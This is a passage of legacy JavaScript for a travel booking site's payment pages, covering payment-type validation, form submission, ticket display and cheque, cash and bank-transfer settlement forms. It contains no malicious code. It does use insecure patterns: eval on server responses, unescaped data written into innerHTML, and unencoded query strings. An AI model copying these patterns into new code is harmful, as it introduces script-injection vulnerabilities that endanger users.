	var chequeAmount=document.getElementsByName('chequeAmount');
 	var chequeBank=document.getElementsByName('chequeBank');
 	var accept=document.getElementById('accept');
 	var gateway=document.getElementById('clientServerPgId');
	var format="dd-mm-yyyy";
    var amount=0;
	var checked=false;
	
		if(!paymentType=="")
		{
			
			if(paymentType==0){
				creditCard=true;
			}else if(paymentType==1){
				debitCard=true;
			}
			else if(paymentType==2){
				businessCard=true;
			}
			else if(paymentType==3){
				chequeCard=true;
			}else if(paymentType==7 || paymentType==8){
				TCILShopUser=true;
			}

			else if(paymentType==4){
				hotelCard=true;
			}
			else if(paymentType==7 || paymentType==8){
				TCILShopUser=true;
			}
			else if(paymentType==10){
				chequeDeposit=true;
			}
			else if(paymentType==11){
				eAgentCard=true;
			}
			else if(paymentType==12){
				cashCard=true;
			}
			else if(paymentType==13){
				remotePayment=true;
			}
		
	}else
	{	
		
		alert("Please select banking option !!!");	
		return false;
		
	}
	
	
	
	if(creditCard){
		
		if(!validateCreditCard()){
			return false;
		}
	}else if(debitCard){
		if(!validateDebitCard()){
			return false;
		}
	}else if (businessCard)
	{
		if(!validateBusinessCard()){
			return false;
		}	
	}else if (eAgentCard)
	{
		if(!validateEAgentCard()){
			return false;
		}	
	}	
	else if(chequeCard) {
		    if(!validateEACheque()){
			return false;
		}
	}else if(hotelCard) {
		    if(!validateHotelCard()){
			return false;
		}
	 }else if(TCILShopUser){
		//For TCILShop User s
		
	}
	else if(chequeDeposit)
	{
	 if(!validateEACheque())
			return false;
	}
	else if(cashCard){
	if(!validateCashCard())
		{
			return false;
		}
		document.getElementById('pgType').value='1'
		
	}
	else if(remotePayment){
		
	}
	else {
		
		alert("Please select banking option !!!");	
		return false;
	}
	
   if(accept.checked){return true;}
   else {
   	alert("Please accept terms and conditions");
   	return false;
   }	
}

function submitConfirmationPage(){

	
	var module=document.getElementById('moduleName').value;

	var formName=document.getElementById('formId').value;
	var form=document.getElementById(formName);
	var cardType=document.getElementById('cardType');
	var depositAmt=document.getElementById('depositAmt');
	

	var payBook="";
	
	if(module=='HOTELAMENDMENT'){
		if(!validateCardDetails()){
			return false;
		}
		document.getElementById('event').value="payment";
		form.method="post";

		loadWaitPage();
		form.submit();
		return true;
	}
	if(module=='MYACCOUNT'){
		if(!validateCardDetails()){
			return false;
		}
		payBook="<font size='5' color='red'> Processing For Settlement </font>";
		var payBookTD=document.getElementById("payBookTD");
	    payBookTD.innerHTML=payBook;
    
	
		form.method="post";

		loadWaitPage();
		form.submit();
		return true;
	}
	if(module=='EAGENT'){
		
		
       	if(!paymentValidation()){
            return false;
            }
		payBook="<font size='5' color='red'> Processing For Deposit </font>";
		var payBookTD=document.getElementById("payBookTD");
	    payBookTD.innerHTML=payBook;
     	form.method="post";
     //	alert("pgType=="+document.getElementById('pgType').value);
     	loadWaitPage();
		form.submit();
		return true;
	
	}
	
	if(!userSignInFlag){
		alert("Please sign in  !!!");
		accordion.showTabByIndex(1);
		return false;
	}
	if(userSignInFlag&&!isBusinessUser){
	
		var userMobile=document.getElementById('userMobile');
		if(isEmpty(userMobile.value)){
			alert("Please enter a value for mobile No");
			userMobile.focus();
			accordion.showTabByIndex(1);
			return false;
		}
		if(!checkPhoneNumber(userMobile.value)){
			accordion.showTabByIndex(1);
			userMobile.focus();
			return false;
		}
	}
	if(module=='cruiseCosta'){
		form = eval("document."+formName);
		if(!validateCardDetails()){
			return false;
		}
	}
	if(module=='FLIGHT'){
		if(!flightConfirmation())
		{
			return false;
		}
	}
	if(module=='INSURANCE'){
		if(!insuranceCofirmation()){
			return false;
		}
	}
	if(module=='HOTEL'){
		document.getElementById('event').value="payment";
		if(!hotelConfirmation()){
			return false;
		}
	}
	if(module=='RAIL'){
		if(!railConfirmation()){
			return false;
		}
	}
	
	//Start-Amit for Indian Rail
	if(module=='IRRAIL'){
		if(!irRailConfirmation()){
			return false;
		}
	}
	//End-Amit for Indian Rail

	
	if(!validateCardDetails()){
		return false;
	}
	

	
	payBook="<font size='5' color='red'> Processing For Payment </font>";
	var payBookTD=document.getElementById("payBookTD");

    payBookTD.innerHTML=payBook;

    
    loadWaitPage();
	form.method="post";
	form.submit();
	return true;
				
}

function validateDepositEAgent()
  {
  		 var depositAmt=document.getElementById('depositAmt');
  		if(depositAmt.value == '' || isNaN(depositAmt.value) || depositAmt.value <= 0) 
  		{	
          	alert("Please Enter Valid Amount, Only Numbers are acceptable !!!");
           depositAmt.focus();
           return false;
        }
        else if( depositAmt.value < creditAmount) 
        {
           alert("Amount can not be less than " +creditAmount+ " !!!");
           depositAmt.focus();
           return false;
        } 
        
        popBankPage();
           
  }

function flightConfirmation(){

	return TravellerValidate();
}
function insuranceCofirmation(){
	return true;
}
function railConfirmation(){
	return true;
}

//Start-Amit for Indian Rail
function irRailConfirmation(){
	return true;
}
//End-Amit for Indian Rail

function hotelConfirmation(){
	if(!validateHotelPaymentOneScreen()){
		return false;
	}
	return true;
}

function showPaymentOptions(sp){
	if(!validateHotelPaymentOneScreen(sp)){
		return false;
	}
	popBankPage();
	return true;

}


var sProvider="";
function validateHotelPaymentOneScreen(sProvider){

	var firstName=document.getElementById('firstName');
	var lastName=document.getElementById('lastName');
	var firstNameLength=null;
	var lastNameLength=null;
	if(sProvider=="GTA"){
		firstName=document.confirmBook.firstName;
		lastName=document.confirmBook.lastName;
		firstNameLength=firstName.length;
		lastNameLength=lastName.length;
	}
	
	var address1=document.getElementById('address1');
	var address2=document.getElementById('address2');
	var city=document.getElementById('city');
	var state=document.getElementById('state');
	var pin=document.getElementById('pin');
	var phoneNo=document.getElementById('phoneNo');
	var alPhoneNo=document.getElementById('alPhoneNo');
	
	if(sProvider=="GTA"){
		if(firstNameLength==undefined){
			if(isEmpty(firstName.value)){
				alert("Please enter a value for first name !!");
				accordion.showTabByIndex(2);
				firstName.focus();
				return false;
			}
		}else{
			for(var i=0;i<firstNameLength;i++){
				if(isEmpty(firstName[i].value)){
					alert("Please enter a value for first name for passenger: "+(i+1)+"!!");
					accordion.showTabByIndex(2);
					firstName[i].focus();
					return false;
				}
			}
		}
		
		if(lastNameLength==undefined){
			if(isEmpty(lastName.value)){
				alert("Please enter a value for last name !!");
				accordion.showTabByIndex(2);
				lastName.focus();
				return false;
			}
		}else{
			for(var i=0;i<lastNameLength;i++){
				if(isEmpty(lastName[i].value)){
					alert("Please enter a value for last name for passenger: "+(i+1)+"!!");
					accordion.showTabByIndex(2);
					lastName[i].focus();
					return false;
				}
			}
		}
	}else{
		if(null!= firstName && isEmpty(firstName.value)){
			alert("Please enter a value for first name !!");
			accordion.showTabByIndex(2);
			firstName.focus();
			return false;
		}
		if(null!= lastName && isEmpty(lastName.value)){
			alert("Please enter a value for last name !!");
			accordion.showTabByIndex(2);
			lastName.focus();
			return false;
		}
	} 
	
	if(isEmpty(address1.value)&&isEmpty(address2.value)){
		alert("Please enter a value for address !!");
		accordion.showTabByIndex(2);
		address1.focus();
		return false;
	}
	
	if(isEmpty(city.value)){
		alert("Please enter a value for city !!");
		accordion.showTabByIndex(2);
		city.focus();
		return false;
	}

	if(state.value=="Select"){
		alert("Please select a value for state !!");
		//accordion.showTabByIndex(2);
		state.focus();
		return false;
	}
	
	if(isEmpty(pin.value)){
		alert("Please enter a value for pin code !!");
		accordion.showTabByIndex(2);
		pin.focus();
		return false;
	}
	if(isEmpty(phoneNo.value)&&isEmpty(alPhoneNo.value)){
		alert("Please enter a value for phone number !!");
		phoneNo.focus();
		accordion.showTabByIndex(2);
		return false;
	}
	if(!checkPhoneNumber(phoneNo.value)){
		phoneNo.focus();
		return false;
	}
	if(!isEmpty(alPhoneNo.value)){
		if(!checkPhoneNumber(alPhoneNo.value)){
			alPhoneNo.focus();
			return false;
		}
		
	}
	
	return true;
		
}

function isEmpty(value){
	return value==null||""==value;
}

function showRow(){
 	var srcElement = document.getElementById('showtab');
    if(srcElement != null) {
    if(srcElement.style.display == "block") {
       srcElement.style.display= 'none';
    }else{
       srcElement.style.display='block';
    }
    return false;
   	}
}

var AutoSugRequest;
function showfun(referenceNumber)
{
    var remarksValue="";
   	var url="";
    if(referenceNumber=="")
	 {
		document.getElementById('showtab').style.display="none";
	 }
	 else
	 {
	 	var host = window.location.host;
	 	remarksValue=document.getElementById('remarks').value; 
	 	referenceNumber=document.getElementById('bookingNumber').value; 
	 	url="http://"+host+"/indus/px/indus/common/FlightTicketDisplay.do?ajax=true&referenceNumber="+referenceNumber+"&remarksValue="+remarksValue;
	 	AutoSugRequest = makeObject();	
	    AutoSugRequest.open("get",url,true);
		AutoSugRequest.onreadystatechange = AutoSugparseInfoForCancel;
		AutoSugRequest.send(null);	
	 }
}


function AutoSugparseInfoForCancel()
{

	if(AutoSugRequest.readyState == 4)
	{
		var resp = AutoSugRequest.responseText;
		if(resp==null)
		{
		   alert("Unable to send the request");
		}else
		{
			alert("Your request has been sent")   ;			
		}  
		document.getElementById('showtab').style.display="none";   

		
	}	
	
}

function makeObject()
{

	var x;
	var browser = navigator.appName;
	if(browser == "Microsoft Internet Explorer")
	{
		
		x = new ActiveXObject("Microsoft.XMLHTTP");
	}
	else
	{
		
		x = new XMLHttpRequest();
	}
	
	return x;
	
}


function callPrintTicketPDF(url)
{	
	//var host = window.location.host;
	//url="http://"+host+"/indus"+url;
	//url="../common/FlightTicketDisplay.do";
	//var url = window.location.protocol + "//" + window.location.host + window.location.pathname+url;
	var url = window.location.protocol + "//" + window.location.host +"/indus"+url;
	AutoSugRequest = makeObject();
	window.open(url);
	//AutoSugRequest.open("get",url,true);
//	AutoSugRequest.onreadystatechange = AutoSugparseInfoForPrintTicket;
//	AutoSugRequest.send(null);
}

function callPrintTicket(url)
{	
	//var host = window.location.host;
	//url="http://"+host+"/indus"+url;
	//url="../common/FlightTicketDisplay.do";
	//var url = window.location.protocol + "//" + window.location.host + window.location.pathname+url;
	var url = window.location.protocol + "//" + window.location.host +"/indus"+url;
	AutoSugRequest = makeObject();
	window.open(url);
	AutoSugRequest.open("get",url,true);
	AutoSugRequest.onreadystatechange = AutoSugparseInfoForPrintTicket;
	AutoSugRequest.send(null);
}
function AutoSugparseInfoForPrintTicket()
{
	if(AutoSugRequest.readyState == 4)
	{
		var resp = AutoSugRequest.responseText.split("ticketDisplay\">");
	    var middleresponse=resp[1].split("</div>");
		displayTicket(middleresponse[0]);
	}	
}
function displayTicket(ticketDisplayString)
{
    var arr=ticketDisplayString.split("__");
	var flightDetailObject=jsonObjForTicketDisplay(arr[1]);
	var ticketDetailObject=jsonObjForTicketDisplay(arr[2]);
	var contactDetailObject=jsonObjForTicketDisplay(arr[3]);
	var ticketDisplayString="<table border=\"0\" align=\"center\" width=\"600\"><tr><img src=\"/indus/images/indus/ticketLog.gif\"/></tr><tr><td colspan=\"5\"><hr/></td></tr><tr> <td width=\"200\"> 100percentravel Reference No. </td><td>"+arr[0]+"</td></tr> <tr><td><br/></td></tr><tr><td width=\"200\"><b>  Flight Details </b></td></tr><tr><td width=\"200\">Flight Number</td><td>"+flightDetailObject.flightdetail[0].airlinename+"&nbsp"+flightDetailObject.flightdetail[0].airlinecode+"-"+flightDetailObject.flightdetail[0].flightnumber+"</td></tr><tr><td width=\"200\">Departs</td><td>"+flightDetailObject.flightdetail[0].departureairport+"</td></tr><tr><td></td><td>"+flightDetailObject.flightdetail[0].departuretime+"</td></tr><tr><td width=\"200\">Arrives</td><td>"+flightDetailObject.flightdetail[0].arrivalairport+"</td></tr><tr><td></td><td>"+flightDetailObject.flightdetail[0].arrivaltime+"</td></tr><tr><td width=\"200\">Class</td><td>Economy</td></tr><tr><td width=\"200\">Status</td><td>"+flightDetailObject.flightdetail[0].ticketstatus+"</td></tr><tr><td width=\"200\">Ticket Type</td><td>"+flightDetailObject.flightdetail[0].tickettype+"</td></tr><tr></tr>";
	ticketDisplayString=ticketDisplayString+"<tr><td><br/></td></tr><tr><td><b> Passenger Details </b></td></tr><tr><td>Passenger Type</td><td>	Name</td><td> PNR</td></tr>";
	for(var psngrIndex=0;psngrIndex<ticketDetailObject.psngername.length;psngrIndex++)
	{
		ticketDisplayString=ticketDisplayString+"<tr><td width=\"200\">"+ticketDetailObject.psngername[psngrIndex].Psgertype+"</td><td width=\"200\" align=\"left\">"+ticketDetailObject.psngername[psngrIndex].Psgerfname+"&nbsp"+ticketDetailObject.psngername[psngrIndex].Psgerlname+"</td><td align=\"left\">"+flightDetailObject.flightdetail[0].airlineRefNO+"/"+ticketDetailObject.psngername[psngrIndex].eTicket[0].eticketno+"</td></tr>";	
	}
	ticketDisplayString=ticketDisplayString+" <tr><td><br/></td></tr><tr><td><b>Contact Address</b></td></tr><tr><td width=\"200\">Name</td><td>"+contactDetailObject.contactDetails[0].firstname+"</td></tr><tr><td width=\"200\">Address	</td><td>"+contactDetailObject.contactDetails[0].address1+","+contactDetailObject.contactDetails[0].address2+"</td></tr><tr><td width=\"200\">Tel</td><td>"+contactDetailObject.contactDetails[0].phonenumber+"</td></tr><tr><td width=\"200\">City</td><td>"+contactDetailObject.contactDetails[0].city+"</td></tr>";
	ticketDisplayString=ticketDisplayString+"<tr><td colspan=\"5\"><hr/></td></tr><tr><td colspan=\"2\" align=\"center\">for any queries please get in touch with 100percentravel support at</td></tr> <tr><td colspan=\"2\" align=\"center\">Phone 	022-25270000</td></tr><tr><td colspan=\"2\" align=\"center\">Mail 	flights@100percentravel.com</td></tr><tr><td colspan=\"2\" align=\"center\">Please quote the 100percentravel reference	no. in all your correspondence</td></tr><tr><td colspan=\"2\" align=\"center\"><a href=\"javascript:window.print();\" class=\"link\">Print</a></td></tr> </table>" ;
    ruleString=	ticketDisplayString;
  //  window.open("/indus/html/flights/flightRulePopup.html", "desc_window", "width=700,height=400,left=212,top=250,scrollbars=yes,menubar=no, resizable=no,location=no,toolbar=no");				  
   window.open("/indus/html/flights/flightRulePopup.html", "desc_window","maximumallowablesize=true,scrollbars=yes,menubar=yes, resizable=yes,location=yes,toolbar=yes");				  
	 	
}
function jsonObjForTicketDisplay(jsonstr)
{
	var js=eval('('+jsonstr+')');
	return js;
}
function addMultipleCheque(table,row)
{
	var rowHtml="";
		
	var table = document.getElementById(table);
	var removeChequeTD=document.getElementById("removeChequeTD");
	  try {
            var newRow = table.insertRow(row_no);
            var newCell1= newRow.insertCell(newRow);
            rowHtml+="<tr class='tdborder1' id='chequeOptRow'>";
			rowHtml+="<td>  <input type='text' name='chequeNumber' id='chequeNumber' value='' maxlength='50' /></td>";
			rowHtml+="<td>  <input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='chequeDate' id='chequeDate"+row_no+"'  onfocus=\"showCalendarControl(this)\"></input>";
			rowHtml+="   <img class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'   src=\"/indus/images/common/cal.gif\" onclick=\"showCalendarControl( document.getElementById('chequeDate"+row_no+"'));\" > </img></td> <td><input type='text' name='chequeAmount' id='chequeAmount'  maxlength='20' /></td><td><input type='text' name='chequeBank' id='chequeBank' value=''  maxlength='100' /></td></tr><tr class='tdborder1'><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td></tr>";
            newCell1.innerHTML = rowHtml;
            var newCell = newRow.insertCell(newRow);
            newCell.innerHTML = "<td width='10%'></td>";
            removeChequeTD.innerHTML="<a href='#' onclick=\"deleteMultipleCheque('chequeOptionTbl')\">delete cheque</a>";
            row_no++;
    } catch (ex) {
        alert(ex);
    }
  }
  function deleteMultipleCheque(tbl)
{
    var table = document.getElementById(tbl);
    try {
    	if(row_no==2)
    	{
    		var removeChequeTD=document.getElementById("removeChequeTD");
   			removeChequeTD.innerHTML="";
   			row_no--;
	        table.deleteRow(row_no);
    	}
    	else
    	{
    		row_no--;
	        table.deleteRow(row_no);
    	}
    } catch (ex) {
        alert(ex);
    }
}   
function defaultInfo()
{
	
	var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="<table border='0' cellpadding='0' cellspacing='0' width='80%'><td width='10%'></td><td colspan='6'><b> Please click on mode of settlemet  </b></td></tr></table>";
}
function enableCash() 
{
	settlementOption="cash";
	var FosPayment=document.getElementById("FosPayment");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
	var strID=document.getElementById("strInfo");
	var BankTransID=document.getElementById("BankTransfer");
	var offlinebank=document.getElementById("OfflineBank");
	var defaultID = document.getElementById("defaultInfo");
	cashID.innerHTML=getCashHtml();
	chequeID.innerHTML="";
	strID.innerHTML="";
	BankTransID.innerHTML="";
	offlinebank.innerHTML="";
	defaultID.innerHTML="";
	defaultID.style.display='none';
	BankTransID.style.display='none';
	offlinebank.style.display='none';
	strID.style.display='none';
	cashID.style.display='block';
	chequeID.style.display='none';
	FosPayment.style.display='none';
	
 }
 function enableCheque() 
{
	settlementOption="cheque";
	var FosPayment=document.getElementById("FosPayment");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
	var strID=document.getElementById("strInfo");
	var BankTransID=document.getElementById("BankTransfer");
	var offlinebank=document.getElementById("OfflineBank");
	var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="";
	defaultID.style.display='none';
	BankTransID.innerHTML="";
	cashID.innerHTML="";
	offlinebank.innerHTML="";
	chequeID.innerHTML=getChequeHtml();
	cashID.style.display='none';
	strID.innerHTML="";
	strID.style.display='none';
	BankTransID.style.display='none';
	chequeID.style.display='block';
	offlinebank.style.display='none';
	FosPayment.style.display='none';
 }
 
 
function enableBankTransOption()
 {
 
 	settlementOption="BankTrans";
 	var FosPayment=document.getElementById("FosPayment");
 	var BankTransID=document.getElementById("BankTransfer");
 	var strID=document.getElementById("strInfo");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
	var offlinebank=document.getElementById("OfflineBank");
		var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="";
	defaultID.style.display='none';
	BankTransID.innerHTML=getBankTransHtml();
	document.getElementById('BankTransAmount').value=document.getElementById('totalAmountToDisplay').value;
	cashID.innerHTML="";
	chequeID.innerHTML="";
	strID.innerHTML="";
	offlinebank.innerHTML="";
	BankTransID.style.display='block';
	strID.style.display='none';
	cashID.style.display='none';
	chequeID.style.display='none';
	offlinebank.style.display='none';
	FosPayment.style.display='none';
 }
 function enableOfflineBank()
 {

 
 	settlementOption="OfflineBank";
 	var FosPayment=document.getElementById("FosPayment");
 	var offlinebank=document.getElementById("OfflineBank");
 	var strID=document.getElementById("strInfo");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
 	var BankTransID=document.getElementById("BankTransfer");
 		var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="";
	defaultID.style.display='none';
	offlinebank.innerHTML=getOfflineBankHtml();
	document.getElementById('BankTransAmount').value=document.getElementById('totalAmountToDisplay').value;
	document.getElementById('SettType').value="8";
	cashID.innerHTML="";
	chequeID.innerHTML="";
	strID.innerHTML="";
	offlinebank.style.display='block';
	BankTransID.style.display='none';
	strID.style.display='none';
	cashID.style.display='none';
	chequeID.style.display='none';
	FosPayment.style.display='none';
 }
 
 function enableFosPayment()
 { 
 	settlementOption="FosPayment";
 	var FosPayment=document.getElementById("FosPayment");
 	var offlinebank=document.getElementById("OfflineBank");
 	var strID=document.getElementById("strInfo");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
 	var BankTransID=document.getElementById("BankTransfer"); 	
 		var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="";
	defaultID.style.display='none';
	FosPayment.innerHTML=getFosPaymentHtml();
   document.getElementById('fosTransAmount').value=document.getElementById('totalAmountToDisplay').value;
	document.getElementById('SettType').value="11";
	cashID.innerHTML="";
	chequeID.innerHTML="";
	strID.innerHTML="";
	offlinebank.style.display='none';
	BankTransID.style.display='none';
	strID.style.display='none';
	cashID.style.display='none';
	chequeID.style.display='none';
	FosPayment.style.display='block';
 }
 
 function empCodeFn(obj)
 {
 	
 	
 	if(obj.value == "other")
 	{
		
		document.getElementById('empCode').readOnly = false;
 		document.getElementById('empCode').value ='';

 		
 	}
 	else
 	{
 		
 		document.getElementById('empCode').readOnly = true;
 		if(document.getElementById('strIssuer').value=='ICICIebiz')
 			document.getElementById('empCode').value='16220550';
 		else if(document.getElementById('strIssuer').value=='HSBCebiz')
 			document.getElementById('empCode').value='16220204';
		else if(document.getElementById('strIssuer').value=='HDFCebiz')
 			document.getElementById('empCode').value='16220216';
 		
 		
 	}

 	

 }


function getBankTransHtml()
{
    var strAmount=document.getElementById('totalAmountToDisplay').value;
  	var strIDHtml="<br/>";
	strIDHtml+="<table border='0' cellpadding='0' cellspacing='1' width='80%'><tr >";
    strIDHtml+="<td width='10%'></td><td> Enter Amount </td><td><input type='text' name='BankTransAmount' id='BankTransAmount' value=''></input></td></tr>";
    strIDHtml+="<tr><td width='10%'><td>Date </td><td><input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='strDate' id='strDate' onfocus=\"showCalendarControl(this)\"></input>";
    strIDHtml+="<img src='/indus/images/common/cal.gif' class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'  onclick=\"showCalendarControl( document.getElementById('strDate'));\"></img></td>"; 
    strIDHtml+="<td> Bank Name  </td><td id='dropDown' style='display:block'><select name='strIssuer' onChange='empCodeFn(this);' id='strIssuer'>" +
    		"<option value='HSBCebiz'>HSBC (eBiz,Chembur)</option><option value='HDFCebiz'>HDFC (eBiz,Chembur)</option><option value='ICICIebiz'>ICICI (eBiz,Chembur)</option>" +
    		"<option value='other'>Other</option></select></td>";
    strIDHtml+="<td> Bank/GL Code</td>" +
    		"<td id='empCodeTB' style='display:block'><input  type='text' readOnly=true name='empCode' id='empCode' value='16220204'/></td>";
    strIDHtml+="</tr><tr ><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td><td></td></tr></table>";
    return strIDHtml;
}
function getOfflineBankHtml()
{
    var strAmount=document.getElementById('totalAmountToDisplay').value;
  	var strIDHtml="<br/>";
	strIDHtml+="<table border='0' cellpadding='0' cellspacing='1' width='80%'><tr >";
    strIDHtml+="<td><input type='hidden' name='BankTransAmount' id='BankTransAmount' value=''></input></td></tr>";
 	strIDHtml+="<tr><td width='10%'><td>Date </td><td><input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='strDate' id='strDate' onfocus=\"showCalendarControl(this)\"></input>";
    strIDHtml+="<img src='/indus/images/common/cal.gif' class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'  onclick=\"showCalendarControl( document.getElementById('strDate'));\"></img></td>"; 
     strIDHtml+="<td> Batch Number:  </td><td><input type='text' name='strIssuer' id='strIssuer'/></td>";
    strIDHtml+="<td> Branch Name</td>" +
    		"<td id='empCodeTB' style='display:block'><input  type='text' name='empCode' id='empCode'/></td>";
    strIDHtml+="</tr><tr ><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td><td></td></tr></table>";
    return strIDHtml;
} 

function getFosPaymentHtml()
{
    var strAmount=document.getElementById('totalAmountToDisplay').value;
  	var strIDHtml="<br/>";
	strIDHtml+="<table border='0' cellpadding='0' cellspacing='1' width='80%'><tr >";
    strIDHtml+="<td width='10%'></td><td> Enter Amount </td><td><input type='text' name='fosTransAmount' id='fosTransAmount' value=''></input></td></tr>";
 	strIDHtml+="<tr><td width='10%'><td>Date </td><td><input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='strDate' id='strDate' onfocus=\"showCalendarControl(this)\"></input>";
    strIDHtml+="<img src='/indus/images/common/cal.gif' class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'  onclick=\"showCalendarControl( document.getElementById('strDate'));\"></img></td>"; 
     strIDHtml+="<td> Customer No:  </td><td><input type='text' name='fosCustNo' id='fosCustNo'/></td>";
    strIDHtml+="<td> FOS File No:</td><td><input  type='text' name='fosFileNo' id='fosFileNo'/></td>";
    strIDHtml+="</tr><tr ><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td><td></td></tr></table>";
    return strIDHtml;
} 

 function enableCashCheque() 
{
	settlementOption="cashCheque";
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
	var strID=document.getElementById("strInfo");
	cashID.innerHTML=getCashHtml();
	chequeID.innerHTML=getChequeHtml();
	strID.innerHTML="";
	strID.style.display='none';
	cashID.style.display='block';
	chequeID.style.display='block';
 }
 function getCashHtml()
{
	var cashIDHtml="<br/>";
	cashIDHtml+="<table border='0' cellpadding='0' cellspacing='0' width='80%'><tr >";
    cashIDHtml+="<td width='10%'></td><td colspan='6'><b> Please enter Cash Amount </b></td></tr>";
    cashIDHtml+="<tr><td width='10%'></td><td width='15%'>Amount :</td><td><input type='text' name='cashAmount' id='cashAmount'/></td><td></td>";
    cashIDHtml+="<tr><td width='10%'></td><td width='15%'>Pan Details :</td><td><input type='text' name='panDetails' id='panDetails' maxlength='50' /></td><td></td></tr></table>";
   
    return cashIDHtml;
}
 function getChequeHtml()
 {
 	 row_no=1;
	 var chequeHtml="<br/>";	
	 chequeHtml+="<table border='0' cellpadding='0' cellspacing='0' width='72%' id='chequeOptionTbl'>" ;
	 chequeHtml+="<tr><td width='10%'></td><td class='tdborder2'><table border='0' cellpadding='0' cellspacing='0' width='100%'>";
	 chequeHtml+="<tr class='tdborder1'><td colspan='6'><b> Please enter the following cheque details </b></td></tr><tr class='tdborder1'><td>Cheque Number</td><td>Cheque Date</td>";
	 chequeHtml+="<td>Amount of cheque</td><td>Bank Of Cheque</td><td></td><td></td></tr><tr class='tdborder1' id='chequeOptRow'>";
	 chequeHtml+="<td><input type='text' name='chequeNumber' id='chequeNumber' value='' maxlength='50' /></td>";
	 chequeHtml+="<td><input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='chequeDate' id='chequeDate' onfocus=\"showCalendarControl(this)\"></input>";
	 chequeHtml+="<img src='/indus/images/common/cal.gif' class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'  onclick=\"showCalendarControl( document.getElementById('chequeDate'));\"></img></td>";
	 chequeHtml+="<td><input type='text' name='chequeAmount' id='chequeAmount' maxlength='20' /></td>";
     chequeHtml+="<td><input type='text' name='chequeBank' id='chequeBank' value='' maxlength='100' /></td>";
     chequeHtml+="<td  width='8%'><a href='#' onclick=\"addMultipleCheque('chequeOptionTbl','chequeOptRow')\">Another Cheque</a></td>";
     chequeHtml+="<td id='removeChequeTD' width='8%'></td></tr><tr class='tdborder1'><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td><td></td></tr></table></td></tr></table>";
     return chequeHtml;
 }

 var row_no=1;
 var settlementOption="";
 
function enableSTROption()
 {
 	settlementOption="str";
 	var strID=document.getElementById("strInfo");
	var cashID = document.getElementById("cashOnlyInfo");
	var chequeID = document.getElementById("chequeOnlyInfo");
	var offlinebank=document.getElementById("OfflineBank");
 	var BankTransID=document.getElementById("BankTransfer");
	var defaultID = document.getElementById("defaultInfo");
	defaultID.innerHTML="";
	defaultID.style.display='none';
	strID.innerHTML=getSTRHtml();
	document.getElementById('strAmount').value=document.getElementById('totalAmountToDisplay').value;
	BankTransID.innerHTML="";
	cashID.innerHTML="";
	chequeID.innerHTML="";
	offlinebank.innerHTML="";
	BankTransID.innerHTML="";
	strID.style.display='block';
	BankTransID.style.display='none';
	cashID.style.display='none';
	chequeID.style.display='none';
	offlinebank.style.display='none';
	BankTransID.style.display='none';
	
 }
 function getSTRHtml()
{
    var strAmount=document.getElementById('totalAmountToDisplay').value;
  	var strIDHtml="<br/>";
	strIDHtml+="<table border='0' align='center' cellpadding='0' cellspacing='1' width='80%'><tr>";
    strIDHtml+="</td> <td>Enter Amount</td><td><input type='text' name='strAmount' id='strAmount' value=''></input></td></tr>";
    strIDHtml+="<tr><td>STR Date </td><td><input size='15' type='text' class='cal_control' value='dd-mm-yyyy' name='strDate' id='strDate' onfocus=\"showCalendarControl(this)\"></input>";
    strIDHtml+="<img src='/indus/images/common/cal.gif' class='cal_control' id='calendar_icon1' title='Click to Open Calendar' alt='Calendar'  onclick=\"showCalendarControl( document.getElementById('strDate'));\"></img></td>"; 
    strIDHtml+="<td> Issuer </td><td><input type='text' name='strIssuer' id='strIssuer'/></td>";
 //   strIDHtml+="<td> Emp. Code </td><td><input type='text' name='empCode' id='empCode'/></td>";
    strIDHtml+="</tr><tr ><td></td><td><div id='CalendarControl'></div></td><td></td><td></td><td></td><td></td></tr></table>";
    return strIDHtml;
}
function submitBankPage(){
	
	 totalAmtToDiaplay=document.getElementById('totalAmountToDisplay').value;
	 var formName=document.getElementById('formId').value;
	 var form=document.getElementById(formName);

	if(totalAmtToDiaplay==0){
		document.getElementById('SettType').value="12";
		document.getElementById('pgType').value='3';
	loadWaitPage();
	form.method="post";
	form.submit();
	return true;
		
	}else
	{
		popBankPage();
	}
	//popBankPage();
	
}
function calculateSettlementAmount(refundContent)
{
	
	
//	alert(refundContent.value);
	var totalAmtToDiaplay=document.getElementById('totalAmountToDisplay').value;
	var totalSettlementAmount=document.getElementById('totalSettlementAmount');
	var refundIds=document.getElementsByName('refundIdList');
	var refundAdjustAmount=document.getElementsByName('refundAdjustAmount');
	var isRemote=document.getElementById('remotePayment').value;
	var totalAmount=0;
	var removeRefundId=refundContent.id+";";
	if(refundContent.checked)
	{
		totalAmount=parseFloat(totalAmtToDiaplay)-parseFloat(refundContent.value);
		if(isRemote=='false'){
			if(totalAmount<0)
		{
			alert("Sorry !! You can not adjust amount more then Settlement Amount")
			refundContent.checked=false;
			return false;
		}
		
		}else
		{
			if(totalAmtToDiaplay<1)
		{
			alert("You can not select the transaction for  Settlement ")
			refundContent.checked=false;
